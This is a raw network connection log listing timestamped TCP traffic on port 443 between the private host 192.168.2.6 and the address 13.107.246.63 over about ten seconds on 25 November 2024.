Nov 25, 2024 18:29:15.790635109 CET	49943	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.790680885 CET	49943	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.790694952 CET	443	49943	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.790704966 CET	49943	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.790712118 CET	443	49943	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.794538021 CET	49951	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.794584036 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.794682980 CET	49951	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.794874907 CET	49951	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.794888973 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:16.197293997 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:16.197335005 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:16.197392941 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:16.197412014 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:16.197442055 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:16.238046885 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:16.238076925 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:16.238092899 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:16.238101959 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:16.295697927 CET	49952	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:16.295737982 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:16.295804977 CET	49952	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:16.325896978 CET	49952	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:16.325932026 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.421407938 CET	443	49948	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.422141075 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.422164917 CET	443	49948	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.422648907 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.422653913 CET	443	49948	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.437664032 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.440787077 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.440809011 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.441410065 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.441415071 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.457645893 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.463516951 CET	49950	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.463540077 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.464227915 CET	49950	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.464232922 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.677613974 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.680702925 CET	49951	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.680744886 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.681226969 CET	49951	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.681232929 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.876744986 CET	443	49948	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.879967928 CET	443	49948	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.880148888 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.880148888 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.880148888 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.883450031 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.883485079 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.883578062 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.883780956 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.883794069 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.889166117 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.892510891 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.892555952 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.892566919 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.892612934 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.892653942 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.892658949 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.892668962 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.892673969 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.894906998 CET	49954	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.894939899 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.895008087 CET	49954	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.895138979 CET	49954	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.895153999 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.907777071 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.911223888 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.911294937 CET	49950	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.911458015 CET	49950	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.911458015 CET	49950	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.911472082 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.911484003 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.913400888 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.913414955 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:17.913490057 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.913621902 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:17.913634062 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.077205896 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.077780008 CET	49952	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.077800989 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.078294039 CET	49952	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.078300953 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.139427900 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.142488003 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.142544985 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.142684937 CET	49951	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.142684937 CET	49951	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.146142006 CET	49951	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.146153927 CET	443	49951	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.154871941 CET	49956	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.154912949 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.154989004 CET	49956	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.155136108 CET	49956	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.155148029 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.184103012 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.184120893 CET	443	49948	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.520554066 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.523658991 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.523736000 CET	49952	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.523904085 CET	49952	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.523904085 CET	49952	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.523925066 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.523935080 CET	443	49952	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.527049065 CET	49957	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.527093887 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:18.527206898 CET	49957	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.527390957 CET	49957	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:18.527405024 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.702924967 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.704937935 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:19.704956055 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.705333948 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:19.705339909 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.733443975 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.736210108 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.736656904 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:19.736670971 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.736792088 CET	49954	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:19.736807108 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.737104893 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:19.737109900 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:19.737212896 CET	49954	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:19.737222910 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.044019938 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.044806004 CET	49956	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.044823885 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.045265913 CET	49956	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.045272112 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.143940926 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.146965981 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.147012949 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.147013903 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.147066116 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.147171974 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.147196054 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.147217989 CET	49955	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.147223949 CET	443	49955	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.150366068 CET	49958	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.150393009 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.150511980 CET	49958	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.150721073 CET	49958	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.150734901 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.181858063 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.182296038 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.182347059 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.182353973 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.182400942 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.182442904 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.182450056 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.182460070 CET	49953	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.182466030 CET	443	49953	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.185420990 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.185455084 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.185514927 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.185652971 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.185667038 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.194529057 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.194583893 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.194647074 CET	49954	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.194927931 CET	49954	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.194947004 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.194964886 CET	49954	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.194969893 CET	443	49954	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.197268009 CET	49960	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.197318077 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.197381020 CET	49960	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.197537899 CET	49960	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.197556019 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.336183071 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.336802959 CET	49957	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.336816072 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.337337971 CET	49957	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.337342978 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.501983881 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.505409956 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.505487919 CET	49956	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.505534887 CET	49956	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.505557060 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.505570889 CET	49956	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.505577087 CET	443	49956	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.508786917 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.508843899 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.508934975 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.509109974 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.509135962 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.784202099 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.786789894 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.786865950 CET	49957	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.786936998 CET	49957	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.786942959 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.786962986 CET	49957	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.786968946 CET	443	49957	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.789874077 CET	49962	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.789890051 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:20.789962053 CET	49962	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.790257931 CET	49962	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:20.790271044 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.742995024 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.743675947 CET	49960	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:21.743710995 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.744293928 CET	49960	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:21.744299889 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.910240889 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.910795927 CET	49958	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:21.910823107 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.911325932 CET	49958	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:21.911338091 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.938601017 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.939146996 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:21.939174891 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:21.939647913 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:21.939651966 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.211492062 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.214602947 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.214674950 CET	49960	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.214718103 CET	49960	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.214754105 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.214766979 CET	49960	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.214773893 CET	443	49960	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.217752934 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.217802048 CET	443	49963	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.217905998 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.218050003 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.218066931 CET	443	49963	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.311302900 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.312001944 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.312026024 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.312550068 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.312556982 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.346189976 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.346282005 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.346349955 CET	49958	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.346534967 CET	49958	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.346560001 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.346576929 CET	49958	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.346585035 CET	443	49958	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.350060940 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.350106001 CET	443	49964	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.350195885 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.350347996 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.350361109 CET	443	49964	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.375103951 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.378185034 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.378236055 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.378258944 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.378292084 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.378345966 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.378361940 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.378372908 CET	49959	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.378379107 CET	443	49959	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.380903959 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.380949020 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.381014109 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.381138086 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.381153107 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.578747988 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.579281092 CET	49962	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.579302073 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.579777956 CET	49962	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.579785109 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.797130108 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.800376892 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.800443888 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.800448895 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.800508976 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.800555944 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.800575018 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.800595045 CET	49961	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.800602913 CET	443	49961	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.803725958 CET	49966	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.803776026 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:22.803852081 CET	49966	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.804003954 CET	49966	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:22.804018021 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.022145033 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.026036024 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.026103020 CET	49962	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:23.026139021 CET	49962	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:23.026155949 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.026169062 CET	49962	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:23.026174068 CET	443	49962	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.029378891 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:23.029423952 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.029488087 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:23.029937983 CET	49967	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:23.029953003 CET	443	49967	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.994764090 CET	443	49963	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.995414019 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:23.995448112 CET	443	49963	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:23.995811939 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:23.995816946 CET	443	49963	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.142564058 CET	443	49964	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.143120050 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.143145084 CET	443	49964	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.143666983 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.143672943 CET	443	49964	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.197006941 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.197439909 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.197460890 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.197884083 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.197889090 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.457096100 CET	443	49963	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.460336924 CET	443	49963	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.460513115 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.460513115 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.460514069 CET	49963	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.463620901 CET	49968	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.463649035 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.463727951 CET	49968	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.463907957 CET	49968	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.463921070 CET	443	49968	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.588737965 CET	443	49964	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.591917992 CET	443	49964	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.592083931 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.592084885 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.592084885 CET	49964	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.594129086 CET	49969	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.594177961 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.594258070 CET	49969	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.594372988 CET	49969	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.594391108 CET	443	49969	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.600290060 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.600693941 CET	49966	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.600708961 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.601171970 CET	49966	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.601176977 CET	443	49966	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.643215895 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.643265963 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.643306017 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.643436909 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.643436909 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.643532038 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.643569946 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.643595934 CET	49965	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.643611908 CET	443	49965	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:24.645756006 CET	49970	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:24.645771980 CET	443	49970	13.107.246.63	192.168.2.6
